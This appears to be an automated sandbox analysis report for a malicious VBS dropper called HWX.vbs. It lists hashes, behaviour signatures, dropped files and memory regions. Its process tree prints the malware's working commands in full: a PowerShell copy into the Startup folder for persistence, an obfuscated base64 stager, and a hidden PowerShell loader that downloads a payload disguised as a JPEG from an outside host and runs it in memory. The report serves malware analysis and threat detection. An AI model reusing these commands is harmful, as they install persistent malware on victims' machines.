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Overview

overview

10

Static

static

1

HWX.vbs

windows7-x64

10

HWX.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    121s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20230712-en
  • resource tags

    arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
  • submitted
    31/08/2023, 13:13

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Report Analysis Logs

General

  • Target

    HWX.vbs

  • Size

    269KB

  • MD5

    eff515cd80fca123c65f7ed20d7f071f

  • SHA1

    6f7bf5b871e413f40f1c23e7953251d0fabbbf95

  • SHA256

    26176205211fdce7ad34cf10d72f178f1646e913e368f0f5bcc325e5428a69cc

  • SHA512

    f2959e3b6b618eca7f96b720c293fb47474440e0a65e838cd588af5078131a0c93bc76c151fd277a65e5f96e1b51d0bc4a56f657bae3a3d2ebe831017b78375e

  • SSDEEP

    6144:t7jmLQQJm7ILm5BmZMLpRKsEAlOb4b5bdZ7ZmZ8Z7V:t7jmLQQJm7ILm5BmZMLp4sEAT

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855
exe.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Drops startup file 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HWX.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2320
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\HWX.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ kGB.vbs')"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2752
      • C:\Windows\system32\PING.EXE
        ping 127.0.0.1 -n 5
        3⤵
        • Runs ping.exe
        PID:2420
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\HWX.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ kGB.vbs')"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2808
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\HWX.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ kGB.vbs')
          4⤵
          • Drops startup file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2868
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 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63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBSChr(63)&Chr(63)GUChr(63)&Chr(63)ZgBsChr(63)&Chr(63)GUChr(63)&Chr(63)YwB0Chr(63)&Chr(63)GkChr(63)&Chr(63)bwBuChr(63)&Chr(63)C4Chr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)HQChr(63)&Chr(63)eQBwChr(63)&Chr(63)GUChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BsChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)GUChr(63)&Chr(63)ZChr(63)&Chr(63)BBChr(63)&Chr(63)HMChr(63)&Chr(63)cwBlChr(63)&Chr(63)G0Chr(63)&Chr(63)YgBsChr(63)&Chr(63)HkChr(63)&Chr(63)LgBHChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BUChr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)CgChr(63)&Chr(63)JwBGChr(63)&Chr(63)GkChr(63)&Chr(63)YgBlChr(63)&Chr(63)HIChr(63)&Chr(63)LgBIChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBlChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)B0Chr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)TQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)FYChr(63)&Chr(63)QQBJChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)oChr(63)&Chr(63)CcChr(63)&Chr(63)dChr(63)&Chr(63)B4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgChr(63)&Chr(63)4Chr(63)&Chr(63)DkChr(63)&Chr(63)cQB1Chr(63)&Chr(63)GwChr(63)&Chr(63)LwBsChr(63)&Chr(63)HQChr(63)&Chr(63)LwChr(63)&Chr(63)3Chr(63)&Chr(63)DYChr(63)&Chr(63)MQChr(63)&Chr(63)uChr(63)&Chr(63)DEChr(63)&Chr(63)NgChr(63)&Chr(63)xChr(63)&Chr(63)C4Chr(63)&Chr(63)NgChr(63)&Chr(63)1Chr(63)&Chr(63)DEChr(63)&Chr(63)LgChr(63)&Chr(63)0Chr(63)&Chr(63)DkChr(63)&Chr(63)LwChr(63)&Chr(63)vChr(63)&Chr(63)DoChr(63)&Chr(63)cChr(63)&Chr(63)B0Chr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)C4Chr(63)&Chr(63)SQBuChr(63)&Chr(63)HYChr(63)&Chr(63)bwBrChr(63)&Chr(63)GUChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)G4Chr(63)&Chr(63)dQBsChr(63)&Chr(63)GwChr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)KQChr(63)&Chr(63)=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('Chr(63)&Chr(63)','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2984
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.89qul/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2660

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
    Filesize

    61KB

    MD5

    f3441b8572aae8801c04f3060b550443

    SHA1

    4ef0a35436125d6821831ef36c28ffaf196cda15

    SHA256

    6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

    SHA512

    5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

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  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
    Filesize

    344B

    MD5

    4c777dc59d755d4680726d85c8d45deb

    SHA1

    e07f173fcc6f0ef9028e04328277d1294adb8c29

    SHA256

    d030aef8ffc593605e2f2af9df6e7dd300ac6fb846e765b35b617ce22a3a0d00

    SHA512

    5e6bd25d0b428c6f272b009dcf58b5d39ee8b73d95f97121e2849f06aabade54ea0d72f33ba0735e42db9b2825f83d588d9069ce77e42618ac3a22671c4e9842

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  • C:\Users\Admin\AppData\Local\Temp\CabE0B0.tmp
    Filesize

    62KB

    MD5

    3ac860860707baaf32469fa7cc7c0192

    SHA1

    c33c2acdaba0e6fa41fd2f00f186804722477639

    SHA256

    d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904

    SHA512

    d62ad2408c969a95550fb87efda50f988770ba5e39972041bf85924275baf156b8bec309ecc6409e5acdd37ec175dea40eff921ab58933b5b5b5d35a6147567c

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  • C:\Users\Admin\AppData\Local\Temp\TarE1E0.tmp
    Filesize

    163KB

    MD5

    9441737383d21192400eca82fda910ec

    SHA1

    725e0d606a4fc9ba44aa8ffde65bed15e65367e4

    SHA256

    bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

    SHA512

    7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

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  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    119c608a37d602008113fcb091ca634e

    SHA1

    66b7d5acaa23aa6937be14463c19721cd2278275

    SHA256

    f7dc525c82cf2a7f85aa3b87c0a28ebfe9c5f6977e75f345be0a61ae67d7a926

    SHA512

    6a9a502f2b6d2e4a4e87ddc55aa861239d888e7794046b0cd439c0f1d1ef1770d8c634130687ff38dc21e20eb59a01602ed7c5f991b04d16d3dbc3b3474ea7db

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  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    119c608a37d602008113fcb091ca634e

    SHA1

    66b7d5acaa23aa6937be14463c19721cd2278275

    SHA256

    f7dc525c82cf2a7f85aa3b87c0a28ebfe9c5f6977e75f345be0a61ae67d7a926

    SHA512

    6a9a502f2b6d2e4a4e87ddc55aa861239d888e7794046b0cd439c0f1d1ef1770d8c634130687ff38dc21e20eb59a01602ed7c5f991b04d16d3dbc3b3474ea7db

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  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\I7DF4H8IDMH85FZSE0U5.temp
    Filesize

    7KB

    MD5

    119c608a37d602008113fcb091ca634e

    SHA1

    66b7d5acaa23aa6937be14463c19721cd2278275

    SHA256

    f7dc525c82cf2a7f85aa3b87c0a28ebfe9c5f6977e75f345be0a61ae67d7a926

    SHA512

    6a9a502f2b6d2e4a4e87ddc55aa861239d888e7794046b0cd439c0f1d1ef1770d8c634130687ff38dc21e20eb59a01602ed7c5f991b04d16d3dbc3b3474ea7db

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  • memory/2660-33-0x0000000002550000-0x00000000025D0000-memory.dmp

    Filesize

    512KB

    Download

  • memory/2660-116-0x000007FEF4C80000-0x000007FEF561D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2660-115-0x000000001D3A0000-0x000000001D6C0000-memory.dmp

    Filesize

    3.1MB

    Download

  • memory/2660-32-0x0000000002550000-0x00000000025D0000-memory.dmp

    Filesize

    512KB

    Download

  • memory/2660-30-0x000007FEF4C80000-0x000007FEF561D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2660-31-0x000007FEF4C80000-0x000007FEF561D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2868-11-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2868-9-0x0000000002800000-0x0000000002880000-memory.dmp

    Filesize

    512KB

    Download

  • memory/2868-10-0x0000000002800000-0x0000000002880000-memory.dmp

    Filesize

    512KB

    Download

  • memory/2868-7-0x0000000002800000-0x0000000002880000-memory.dmp

    Filesize

    512KB

    Download

  • memory/2868-6-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2868-4-0x000000001B240000-0x000000001B522000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2868-5-0x0000000002040000-0x0000000002048000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2984-24-0x0000000002780000-0x0000000002800000-memory.dmp

    Filesize

    512KB

    Download

  • memory/2984-23-0x0000000002780000-0x0000000002800000-memory.dmp

    Filesize

    512KB

    Download

  • memory/2984-34-0x000007FEF4C80000-0x000007FEF561D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2984-22-0x0000000002780000-0x0000000002800000-memory.dmp

    Filesize

    512KB

    Download

  • memory/2984-63-0x0000000002780000-0x0000000002800000-memory.dmp

    Filesize

    512KB

    Download

  • memory/2984-64-0x0000000002780000-0x0000000002800000-memory.dmp

    Filesize

    512KB

    Download

  • memory/2984-21-0x0000000002780000-0x0000000002800000-memory.dmp

    Filesize

    512KB

    Download

  • memory/2984-20-0x000007FEF4C80000-0x000007FEF561D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2984-18-0x000007FEF4C80000-0x000007FEF561D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2984-114-0x0000000002780000-0x0000000002800000-memory.dmp

    Filesize

    512KB

    Download

  • memory/2984-19-0x00000000024E0000-0x00000000024E8000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2984-17-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2984-117-0x000007FEF4C80000-0x000007FEF561D000-memory.dmp

    Filesize

    9.6MB

    Download